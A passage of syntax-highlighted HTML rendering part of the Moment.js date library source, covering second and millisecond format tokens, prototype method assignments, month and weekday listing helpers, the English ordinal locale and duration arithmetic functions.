class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;s&#x27;</span>, [<span class="string">&#x27;ss&#x27;</span>, <span class="number">2</span>], <span class="number">0</span>, <span class="string">&#x27;second&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;second&#x27;</span>, <span class="string">&#x27;s&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;second&#x27;</span>, <span class="number">15</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;s&#x27;</span>, match1to2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;ss&#x27;</span>, match1to2, match2);</span><br><span class="line">    <span class="title function_">addParseToken</span>([<span class="string">&#x27;s&#x27;</span>, <span class="string">&#x27;ss&#x27;</span>], <span class="variable constant_">SECOND</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> getSetSecond = <span class="title function_">makeGetSet</span>(<span class="string">&#x27;Seconds&#x27;</span>, <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;S&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> ~~(<span class="variable language_">this</span>.<span class="title function_">millisecond</span>() / <span class="number">100</span>);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;SS&#x27;</span>, <span class="number">2</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> ~~(<span class="variable language_">this</span>.<span class="title function_">millisecond</span>() / <span class="number">10</span>);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;SSS&#x27;</span>, <span class="number">3</span>], <span class="number">0</span>, <span class="string">&#x27;millisecond&#x27;</span>);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;SSSS&#x27;</span>, <span class="number">4</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">millisecond</span>() * <span class="number">10</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;SSSSS&#x27;</span>, <span class="number">5</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">millisecond</span>() * <span class="number">100</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;SSSSSS&#x27;</span>, <span class="number">6</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">millisecond</span>() * <span class="number">1000</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;SSSSSSS&#x27;</span>, <span class="number">7</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">millisecond</span>() * <span class="number">10000</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;SSSSSSSS&#x27;</span>, <span class="number">8</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">millisecond</span>() * <span class="number">100000</span>;</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;SSSSSSSSS&#x27;</span>, <span class="number">9</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">millisecond</span>() * <span class="number">1000000</span>;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">// ALIASES</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitAlias</span>(<span class="string">&#x27;millisecond&#x27;</span>, <span class="string">&#x27;ms&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PRIORITY</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addUnitPriority</span>(<span class="string">&#x27;millisecond&#x27;</span>, <span class="number">16</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// PARSING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;S&#x27;</span>, match1to3, match1);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;SS&#x27;</span>, match1to3, match2);</span><br><span class="line">    <span class="title function_">addRegexToken</span>(<span class="string">&#x27;SSS&#x27;</span>, match1to3, match3);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> token;</span><br><span class="line">    <span class="keyword">for</span> (token = <span class="string">&#x27;SSSS&#x27;</span>; token.<span class="property">length</span> &lt;= <span class="number">9</span>; token += <span class="string">&#x27;S&#x27;</span>) &#123;</span><br><span class="line">        <span class="title function_">addRegexToken</span>(token, matchUnsigned);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">parseMs</span>(<span class="params">input, array</span>) &#123;</span><br><span class="line">        array[<span class="variable constant_">MILLISECOND</span>] = <span class="title function_">toInt</span>((<span class="string">&#x27;0.&#x27;</span> + input) * <span class="number">1000</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (token = <span class="string">&#x27;S&#x27;</span>; token.<span class="property">length</span> &lt;= <span class="number">9</span>; token += <span class="string">&#x27;S&#x27;</span>) &#123;</span><br><span class="line">        <span class="title function_">addParseToken</span>(token, parseMs);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> getSetMillisecond = <span class="title function_">makeGetSet</span>(<span class="string">&#x27;Milliseconds&#x27;</span>, <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;z&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="string">&#x27;zoneAbbr&#x27;</span>);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;zz&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="string">&#x27;zoneName&#x27;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// MOMENTS</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getZoneAbbr</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_isUTC</span> ? <span class="string">&#x27;UTC&#x27;</span> : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getZoneName</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_isUTC</span> ? <span class="string">&#x27;Coordinated Universal Time&#x27;</span> : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> proto = <span class="title class_">Moment</span>.<span class="property"><span class="keyword">prototype</span></span>;</span><br><span class="line"></span><br><span class="line">    proto.<span class="property">add</span> = add;</span><br><span class="line">    proto.<span class="property">calendar</span> = calendar$1;</span><br><span class="line">    proto.<span class="property">clone</span> = clone;</span><br><span class="line">    proto.<span class="property">diff</span> = diff;</span><br><span class="line">    proto.<span class="property">endOf</span> = endOf;</span><br><span class="line">    proto.<span class="property">format</span> = format;</span><br><span class="line">    proto.<span class="property">from</span> = <span class="keyword">from</span>;</span><br><span class="line">    proto.<span class="property">fromNow</span> = fromNow;</span><br><span class="line">    proto.<span class="property">to</span> = to;</span><br><span class="line">    proto.<span class="property">toNow</span> = toNow;</span><br><span class="line">    proto.<span class="property">get</span> = stringGet;</span><br><span class="line">    proto.<span class="property">invalidAt</span> = invalidAt;</span><br><span class="line">    proto.<span class="property">isAfter</span> = isAfter;</span><br><span class="line">    proto.<span class="property">isBefore</span> = isBefore;</span><br><span class="line">    proto.<span class="property">isBetween</span> = isBetween;</span><br><span class="line">    proto.<span class="property">isSame</span> = isSame;</span><br><span class="line">    proto.<span class="property">isSameOrAfter</span> = isSameOrAfter;</span><br><span class="line">    proto.<span class="property">isSameOrBefore</span> = isSameOrBefore;</span><br><span class="line">    proto.<span class="property">isValid</span> = isValid$2;</span><br><span class="line">    proto.<span class="property">lang</span> = lang;</span><br><span class="line">    proto.<span class="property">locale</span> = locale;</span><br><span class="line">    proto.<span class="property">localeData</span> = localeData;</span><br><span class="line">    proto.<span class="property">max</span> = prototypeMax;</span><br><span class="line">    proto.<span class="property">min</span> = prototypeMin;</span><br><span class="line">    proto.<span class="property">parsingFlags</span> = parsingFlags;</span><br><span class="line">    proto.<span class="property">set</span> = stringSet;</span><br><span class="line">    proto.<span class="property">startOf</span> = startOf;</span><br><span class="line">    proto.<span class="property">subtract</span> = subtract;</span><br><span class="line">    proto.<span class="property">toArray</span> = toArray;</span><br><span class="line">    proto.<span class="property">toObject</span> = toObject;</span><br><span class="line">    proto.<span class="property">toDate</span> = toDate;</span><br><span class="line">    proto.<span class="property">toISOString</span> = toISOString;</span><br><span class="line">    proto.<span class="property">inspect</span> = inspect;</span><br><span class="line">    proto.<span class="property">toJSON</span> = toJSON;</span><br><span class="line">    proto.<span class="property">toString</span> = toString;</span><br><span class="line">    proto.<span class="property">unix</span> = unix;</span><br><span class="line">    proto.<span class="property">valueOf</span> = valueOf;</span><br><span class="line">    proto.<span class="property">creationData</span> = creationData;</span><br><span class="line">    proto.<span class="property">year</span> = getSetYear;</span><br><span class="line">    proto.<span class="property">isLeapYear</span> = getIsLeapYear;</span><br><span class="line">    proto.<span class="property">weekYear</span> = getSetWeekYear;</span><br><span class="line">    proto.<span class="property">isoWeekYear</span> = getSetISOWeekYear;</span><br><span class="line">    proto.<span class="property">quarter</span> = proto.<span class="property">quarters</span> = getSetQuarter;</span><br><span class="line">    proto.<span class="property">month</span> = getSetMonth;</span><br><span class="line">    proto.<span class="property">daysInMonth</span> = getDaysInMonth;</span><br><span class="line">    proto.<span class="property">week</span> = proto.<span class="property">weeks</span> = getSetWeek;</span><br><span class="line">    proto.<span class="property">isoWeek</span> = proto.<span class="property">isoWeeks</span> = getSetISOWeek;</span><br><span class="line">    proto.<span class="property">weeksInYear</span> = getWeeksInYear;</span><br><span class="line">    proto.<span class="property">isoWeeksInYear</span> = getISOWeeksInYear;</span><br><span class="line">    proto.<span class="property">date</span> = getSetDayOfMonth;</span><br><span class="line">    proto.<span class="property">day</span> = proto.<span class="property">days</span> = getSetDayOfWeek;</span><br><span class="line">    proto.<span class="property">weekday</span> = getSetLocaleDayOfWeek;</span><br><span class="line">    proto.<span class="property">isoWeekday</span> = getSetISODayOfWeek;</span><br><span class="line">    proto.<span class="property">dayOfYear</span> = getSetDayOfYear;</span><br><span class="line">    proto.<span class="property">hour</span> = proto.<span class="property">hours</span> = getSetHour;</span><br><span class="line">    proto.<span class="property">minute</span> = proto.<span class="property">minutes</span> = getSetMinute;</span><br><span class="line">    proto.<span class="property">second</span> = proto.<span class="property">seconds</span> = getSetSecond;</span><br><span class="line">    proto.<span class="property">millisecond</span> = proto.<span class="property">milliseconds</span> = getSetMillisecond;</span><br><span class="line">    proto.<span class="property">utcOffset</span> = getSetOffset;</span><br><span class="line">    proto.<span class="property">utc</span> = setOffsetToUTC;</span><br><span class="line">    proto.<span class="property">local</span> = setOffsetToLocal;</span><br><span class="line">    proto.<span class="property">parseZone</span> = setOffsetToParsedOffset;</span><br><span class="line">    proto.<span class="property">hasAlignedHourOffset</span> = hasAlignedHourOffset;</span><br><span class="line">    proto.<span class="property">isDST</span> = isDaylightSavingTime;</span><br><span class="line">    proto.<span class="property">isLocal</span> = isLocal;</span><br><span class="line">    proto.<span class="property">isUtcOffset</span> = isUtcOffset;</span><br><span class="line">    proto.<span class="property">isUtc</span> = isUtc;</span><br><span class="line">    proto.<span class="property">isUTC</span> = isUtc;</span><br><span class="line">    proto.<span class="property">zoneAbbr</span> = getZoneAbbr;</span><br><span class="line">    proto.<span class="property">zoneName</span> = getZoneName;</span><br><span class="line">    proto.<span class="property">dates</span> = <span class="title function_">deprecate</span>(<span class="string">&#x27;dates accessor is deprecated. Use date instead.&#x27;</span>, getSetDayOfMonth);</span><br><span class="line">    proto.<span class="property">months</span> = <span class="title function_">deprecate</span>(<span class="string">&#x27;months accessor is deprecated. Use month instead&#x27;</span>, getSetMonth);</span><br><span class="line">    proto.<span class="property">years</span> = <span class="title function_">deprecate</span>(<span class="string">&#x27;years accessor is deprecated. Use year instead&#x27;</span>, getSetYear);</span><br><span class="line">    proto.<span class="property">zone</span> = <span class="title function_">deprecate</span>(</span><br><span class="line">        <span class="string">&#x27;moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/&#x27;</span>,</span><br><span class="line">        getSetZone);</span><br><span class="line">    proto.<span class="property">isDSTShifted</span> = <span class="title function_">deprecate</span>(</span><br><span class="line">        <span class="string">&#x27;isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information&#x27;</span>,</span><br><span class="line">        isDaylightSavingTimeShifted);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createUnix</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">createLocal</span>(input * <span class="number">1000</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createInZone</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> createLocal.<span class="title function_">apply</span>(<span class="literal">null</span>, <span class="variable language_">arguments</span>).<span class="title function_">parseZone</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">preParsePostFormat</span>(<span class="params">string</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> string;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> proto$1 = <span class="title class_">Locale</span>.<span class="property"><span class="keyword">prototype</span></span>;</span><br><span class="line"></span><br><span class="line">    proto$1.<span class="property">calendar</span> = calendar;</span><br><span class="line">    proto$1.<span class="property">longDateFormat</span> = longDateFormat;</span><br><span class="line">    proto$1.<span class="property">invalidDate</span> = invalidDate;</span><br><span class="line">    proto$1.<span class="property">ordinal</span> = ordinal;</span><br><span class="line">    proto$1.<span class="property">preparse</span> = preParsePostFormat;</span><br><span class="line">    proto$1.<span class="property">postformat</span> = preParsePostFormat;</span><br><span class="line">    proto$1.<span class="property">relativeTime</span> = relativeTime;</span><br><span class="line">    proto$1.<span class="property">pastFuture</span> = pastFuture;</span><br><span class="line">    proto$1.<span class="property">set</span> = set;</span><br><span class="line"></span><br><span class="line">    proto$1.<span class="property">months</span> = localeMonths;</span><br><span class="line">    proto$1.<span class="property">monthsShort</span> = localeMonthsShort;</span><br><span class="line">    proto$1.<span class="property">monthsParse</span> = localeMonthsParse;</span><br><span class="line">    proto$1.<span class="property">monthsRegex</span> = monthsRegex;</span><br><span class="line">    proto$1.<span class="property">monthsShortRegex</span> = monthsShortRegex;</span><br><span class="line">    proto$1.<span class="property">week</span> = localeWeek;</span><br><span class="line">    proto$1.<span class="property">firstDayOfYear</span> = localeFirstDayOfYear;</span><br><span class="line">    proto$1.<span class="property">firstDayOfWeek</span> = localeFirstDayOfWeek;</span><br><span class="line"></span><br><span class="line">    proto$1.<span class="property">weekdays</span> = localeWeekdays;</span><br><span class="line">    proto$1.<span class="property">weekdaysMin</span> = localeWeekdaysMin;</span><br><span class="line">    proto$1.<span class="property">weekdaysShort</span> = localeWeekdaysShort;</span><br><span class="line">    proto$1.<span class="property">weekdaysParse</span> = localeWeekdaysParse;</span><br><span class="line"></span><br><span class="line">    proto$1.<span class="property">weekdaysRegex</span> = weekdaysRegex;</span><br><span class="line">    proto$1.<span class="property">weekdaysShortRegex</span> = weekdaysShortRegex;</span><br><span class="line">    proto$1.<span class="property">weekdaysMinRegex</span> = weekdaysMinRegex;</span><br><span class="line"></span><br><span class="line">    proto$1.<span class="property">isPM</span> = localeIsPM;</span><br><span class="line">    proto$1.<span class="property">meridiem</span> = localeMeridiem;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">get$1</span>(<span class="params">format, index, field, setter</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> locale = <span class="title function_">getLocale</span>();</span><br><span class="line">        <span class="keyword">var</span> utc = <span class="title function_">createUTC</span>().<span class="title function_">set</span>(setter, index);</span><br><span class="line">        <span class="keyword">return</span> locale[field](utc, format);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">listMonthsImpl</span>(<span class="params">format, index, field</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">isNumber</span>(format)) &#123;</span><br><span class="line">            index = format;</span><br><span class="line">            format = <span class="literal">undefined</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        format = format || <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (index != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">get$1</span>(format, index, field, <span class="string">&#x27;month&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> i;</span><br><span class="line">        <span class="keyword">var</span> out = [];</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">12</span>; i++) &#123;</span><br><span class="line">            out[i] = <span class="title function_">get$1</span>(format, i, field, <span class="string">&#x27;month&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> out;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ()</span></span><br><span class="line">    <span class="comment">// (5)</span></span><br><span class="line">    <span class="comment">// (fmt, 5)</span></span><br><span class="line">    <span class="comment">// (fmt)</span></span><br><span class="line">    <span class="comment">// (true)</span></span><br><span class="line">    <span class="comment">// (true, 5)</span></span><br><span class="line">    <span class="comment">// (true, fmt, 5)</span></span><br><span class="line">    <span class="comment">// (true, fmt)</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">listWeekdaysImpl</span>(<span class="params">localeSorted, format, index, field</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> localeSorted === <span class="string">&#x27;boolean&#x27;</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">isNumber</span>(format)) &#123;</span><br><span class="line">                index = format;</span><br><span class="line">                format = <span class="literal">undefined</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            format = format || <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            format = localeSorted;</span><br><span class="line">            index = format;</span><br><span class="line">            localeSorted = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">isNumber</span>(format)) &#123;</span><br><span class="line">                index = format;</span><br><span class="line">                format = <span class="literal">undefined</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            format = format || <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> locale = <span class="title function_">getLocale</span>(),</span><br><span class="line">            shift = localeSorted ? locale.<span class="property">_week</span>.<span class="property">dow</span> : <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (index != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_">get$1</span>(format, (index + shift) % <span class="number">7</span>, field, <span class="string">&#x27;day&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">var</span> i;</span><br><span class="line">        <span class="keyword">var</span> out = [];</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">7</span>; i++) &#123;</span><br><span class="line">            out[i] = <span class="title function_">get$1</span>(format, (i + shift) % <span class="number">7</span>, field, <span class="string">&#x27;day&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> out;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">listMonths</span>(<span class="params">format, index</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">listMonthsImpl</span>(format, index, <span class="string">&#x27;months&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">listMonthsShort</span>(<span class="params">format, index</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">listMonthsImpl</span>(format, index, <span class="string">&#x27;monthsShort&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">listWeekdays</span>(<span class="params">localeSorted, format, index</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">listWeekdaysImpl</span>(localeSorted, format, index, <span class="string">&#x27;weekdays&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">listWeekdaysShort</span>(<span class="params">localeSorted, format, index</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">listWeekdaysImpl</span>(localeSorted, format, index, <span class="string">&#x27;weekdaysShort&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">listWeekdaysMin</span>(<span class="params">localeSorted, format, index</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">listWeekdaysImpl</span>(localeSorted, format, index, <span class="string">&#x27;weekdaysMin&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="title function_">getSetGlobalLocale</span>(<span class="string">&#x27;en&#x27;</span>, &#123;</span><br><span class="line">        <span class="attr">dayOfMonthOrdinalParse</span>: <span class="regexp">/\d&#123;1,2&#125;(th|st|nd|rd)/</span>,</span><br><span class="line">        <span class="attr">ordinal</span>: <span class="keyword">function</span> (<span class="params">number</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> b = number % <span class="number">10</span>,</span><br><span class="line">                output = (<span class="title function_">toInt</span>(number % <span class="number">100</span> / <span class="number">10</span>) === <span class="number">1</span>) ? <span class="string">&#x27;th&#x27;</span> :</span><br><span class="line">                    (b === <span class="number">1</span>) ? <span class="string">&#x27;st&#x27;</span> :</span><br><span class="line">                        (b === <span class="number">2</span>) ? <span class="string">&#x27;nd&#x27;</span> :</span><br><span class="line">                            (b === <span class="number">3</span>) ? <span class="string">&#x27;rd&#x27;</span> : <span class="string">&#x27;th&#x27;</span>;</span><br><span class="line">            <span class="keyword">return</span> number + output;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Side effect imports</span></span><br><span class="line"></span><br><span class="line">    hooks.<span class="property">lang</span> = <span class="title function_">deprecate</span>(<span class="string">&#x27;moment.lang is deprecated. Use moment.locale instead.&#x27;</span>, getSetGlobalLocale);</span><br><span class="line">    hooks.<span class="property">langData</span> = <span class="title function_">deprecate</span>(<span class="string">&#x27;moment.langData is deprecated. Use moment.localeData instead.&#x27;</span>, getLocale);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> mathAbs = <span class="title class_">Math</span>.<span class="property">abs</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">abs</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> data = <span class="variable language_">this</span>.<span class="property">_data</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_milliseconds</span> = <span class="title function_">mathAbs</span>(<span class="variable language_">this</span>.<span class="property">_milliseconds</span>);</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_days</span> = <span class="title function_">mathAbs</span>(<span class="variable language_">this</span>.<span class="property">_days</span>);</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_months</span> = <span class="title function_">mathAbs</span>(<span class="variable language_">this</span>.<span class="property">_months</span>);</span><br><span class="line"></span><br><span class="line">        data.<span class="property">milliseconds</span> = <span class="title function_">mathAbs</span>(data.<span class="property">milliseconds</span>);</span><br><span class="line">        data.<span class="property">seconds</span> = <span class="title function_">mathAbs</span>(data.<span class="property">seconds</span>);</span><br><span class="line">        data.<span class="property">minutes</span> = <span class="title function_">mathAbs</span>(data.<span class="property">minutes</span>);</span><br><span class="line">        data.<span class="property">hours</span> = <span class="title function_">mathAbs</span>(data.<span class="property">hours</span>);</span><br><span class="line">        data.<span class="property">months</span> = <span class="title function_">mathAbs</span>(data.<span class="property">months</span>);</span><br><span class="line">        data.<span class="property">years</span> = <span class="title function_">mathAbs</span>(data.<span class="property">years</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addSubtract$1</span>(<span class="params">duration, input, value, direction</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> other = <span class="title function_">createDuration</span>(input, value);</span><br><span class="line"></span><br><span class="line">        duration.<span class="property">_milliseconds</span> += direction * other.<span class="property">_milliseconds</span>;</span><br><span class="line">        duration.<span class="property">_days</span> += direction * other.<span class="property">_days</span>;</span><br><span class="line">        duration.<span class="property">_months</span> += direction * other.<span class="property">_months</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> duration.<span class="title function_">_bubble</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// supports only 2.0-style add(1, &#x27;s&#x27;) or add(duration)</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">add$1</span>(<span class="params">input, value</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">addSubtract$1</span>(<span class="variable language_">this</span>, input, value, <span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// supports only 2.0-style subtract(1, &#x27;s&#x27;) or subtract(duration)</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">subtract$1</span>(<span class="params">input, value</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">addSubtract$1</span>(<span class="variable language_">this</span>, input, value, -<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">absCeil</span>(<span class="params">number</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (number &lt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="title function_">floor</span>(number);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="title function_">ceil</span>(number);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">bubble</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> milliseconds = <span class="variable language_">this</span>.<span class="property">_milliseconds</span>;</span><br><span class="line">        <span class="keyword">var</span> days = <span class="variable language_">this</span>.<span class="property">_days</span>;</span><br><span class="line">        <span class="keyword">var</span> months = <span class="variable language_">this</span>.<span class="property">_months</span>;</span><br><span class="line">        <span class="keyword">var</span> data = <span class="variable language_">this</span>.<span class="property">_data</span>;</span><br><span class="line">        <span class="keyword">var</span> seconds, minutes, hours, years, monthsFromDays;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// if we have a mix of positive and negative values, bubble down first</span></span><br><span class="line">        <span class="comment">// check: https://github.com/moment/moment/issues/2166</span></span><br><span class="line">        <span class="keyword">if</span> (!((milliseconds &gt;= 